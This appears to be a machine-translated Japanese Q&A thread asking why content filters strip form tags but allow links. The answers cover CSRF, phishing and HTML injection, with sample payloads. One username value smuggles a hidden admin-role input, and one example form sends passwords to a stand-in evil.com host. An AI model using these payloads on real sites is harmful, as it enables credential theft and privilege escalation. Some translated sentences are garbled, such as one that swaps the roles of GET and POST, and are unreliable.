Webアプリケーションにコンテンツエディターがあり、管理者がアプリケーションの特定の領域でコンテンツを追加および編集できます。
私が使用したエディターコンポーネントは、スクリプトタグ、クリックイベント、および基本的には入力されたコンテンツからすべてのJavaScriptを自動的に削除します。私はこれを認識しており、私の側のWebアプリケーションの意図的な動作です。
入力したコンテンツからエディターがフォームタグも削除することがわかりました。最近、ユーザーがPaypalボタンを含めようとしたときまで、これに気付きませんでした。
それには十分な理由があると思いますが、頭の上からform
タグをHTMLリンクよりも危険なものにしている理由を考えることはできません。
HTMLリンクを許可しながら、ユーザーが提供したコンテンツからform
タグを削除するケースは何ですか?
はい、そうです。どの程度、フォームを許可しても問題ないかどうかは、特定の状況によって異なります。
リファラーチェックを含むCSRF
CSRF保護がトークンではなくリファラーチェックに依存している場合、フォームを許可すると、CSRFに対して脆弱になります。
スクリプトを許可しない場合でも、被害者は実際にフォームをクリックする必要がありますが、これはソーシャルエンジニアリングまたはおそらくClickJackingを介して実現できます。
たとえば、攻撃者は、PayPalボタンをクリックすると、実際には新しい管理者ユーザーを追加する可能性があります。
もちろん、これはリンクでも可能ですが、GETリクエストの場合のみであり、POSTリクエストの場合はできません。
既存のフォームのCSRF
あなたのフィルターは一般的なフィルターで、危険な可能性のあるすべてのタグを除外しているようです。ただし、フォーム内でユーザー入力をエコーする場合など、フォームタグを絶対に使用したくない特定の状況があります。
たとえば、管理バックエンドに次のようなユーザー編集フォームがある場合:
<form action="admin_user_edit.php">
<input type="text" name="csrf-token" value="[CSRF token]">
<input type="text" name="password" value="[value from database]">
<input type="text" name="username" value="[value from database]">
<input type="text" name="role" value="[value from database]">
<input type="submit" value="Submit">
</form>
これで、ユーザーは自分自身に名前を付けることができますfoobar"><input type="hidden" name="role" value="admin"><input type="submit" value="Submit"></form>
。管理者にプロファイルの編集を依頼すると、管理者になりたくなくても管理者になります。
フィッシング
フォームはフィッシング攻撃にも使用できます。これも、ユーザー入力が行われる特定のコンテキストに依存しますが、理論的には、攻撃者は、たとえばログイン認証情報、クレジットカードの詳細などを要求するフォームを表示し、それを独自のサーバーに送信する可能性があります。
被害者がフォームをユーザー入力として解釈するのではなく、あなたのWebサイトに属するものとして解釈することが期待されます。
フォームは、単純なリンクよりもユーザーから多くのものを隠し、さまざまなことができるため、より危険です。
スクリプトタグ、クリックイベント、基本的にはすべてのJavaScriptを自動的に削除します
私はそれがjavascript:...
リンクも削除することを意味すると思います。そのため、攻撃者が生成できる唯一のリンクは単純なGETリクエストであり、マウスオーバーとクリック後のアドレスフィールドの両方でユーザーに明確に表示されます(ブラウザーがそれを行うと仮定すると、私のものはそうするように設定されています)そう)。
フォームは任意のメソッド(POSTなど)を使用でき、任意の非表示コンテンツを含めることができます。送信後、アドレスフィールドにはアクションパーツのみが表示され、さらに多くのデータを送信したことに気づかず、不正行為の方法が大幅に増えます。
フォームを使用した非常に単純な攻撃は、偽のログインページを表示することで(無害なフォーマットのみが必要です)、攻撃者のWebサイトに誘導するアクションが含まれます。技術者でないユーザーは、フォーラムがさらに別のログイン( "argh!私は既に3回ログインしているので、なぜですか?!")を求めるプロンプトを表示することに苛立ち、資格情報を入力すると、攻撃者にすぐに配信されます。より複雑なシナリオを想像することができます。
Conserning POST and GET
リンクをクリックすると、GET
リクエストが許可されます。フォームは、送信時にGET
またはPOST
リクエストを許可します。フォームで実行できるすべてのGET
リクエストはリンクでも実行でき、その逆も可能です。そのため、フォームで許可される追加機能はPOST
リクエストです。
人々がHTTP動詞の意図に固執すると仮定すると、POST
リクエストは情報を取得するだけで、GET
リクエストはサーバーの状態を変更します。したがって、POST
リクエスト、つまりフォームは本質的にリスクが高くなります。
フォームではなくリンクを除外する最初の理由は、CMSのユーザーにページへのリンクを含めることを認める正当な理由があることは明らかですが、フォームの正当な使用法はEdgeケースのほうが多いためです。 HTMLのサブセットのフィルタリングは困難であり、間違いを犯したり、何かを見逃したりするのは簡単なので、明らかに必要ではないものをすべて許可しないことは悪い考えではありません。¨
フォームのリスク
Timはすでに2つの主な懸念事項 [〜#〜] csrf [〜#〜] および フィッシング - この答え をカバーしているので、ここではそれを繰り返さないでしょう。 3つ目を追加します- HTMLインジェクション 。この例を見てください:
<!-- Beginning of user generated content. -->
This is a normal webpage. Nothing fishy going on, I promise.
<form name="attack" method="post" action="http://evil.com/harvestpasswords.php">
<!-- End of user generated content. -->
<!-- Start of static HTML of page. -->
<div id="footer">
<form name="login" method="post" action="login.php">
<!-- A normal login form here. -->
</form>
</div>
実際には、通常のログインフォームが攻撃フォーム内にネストされます。これにより、ブラウザーは内部フォームタグを無視し(ネストされたフォームは許可されないため)、フォームは攻撃者のページに送信されます。
ページ上のHTMLの構造によっては、この種の攻撃が機能しない場合があります。しかし、なぜリスクを取るのか?
リンクのリスク
リンクを使用すると、href="javascript:..."
やhref="vbscript:..."
などのプロトコルでスクリプトを実行することもできます。 XSSの地獄を回避するには、許可されたプロトコルのホワイトリストが必要です(ブラックリストはここでは行いません)。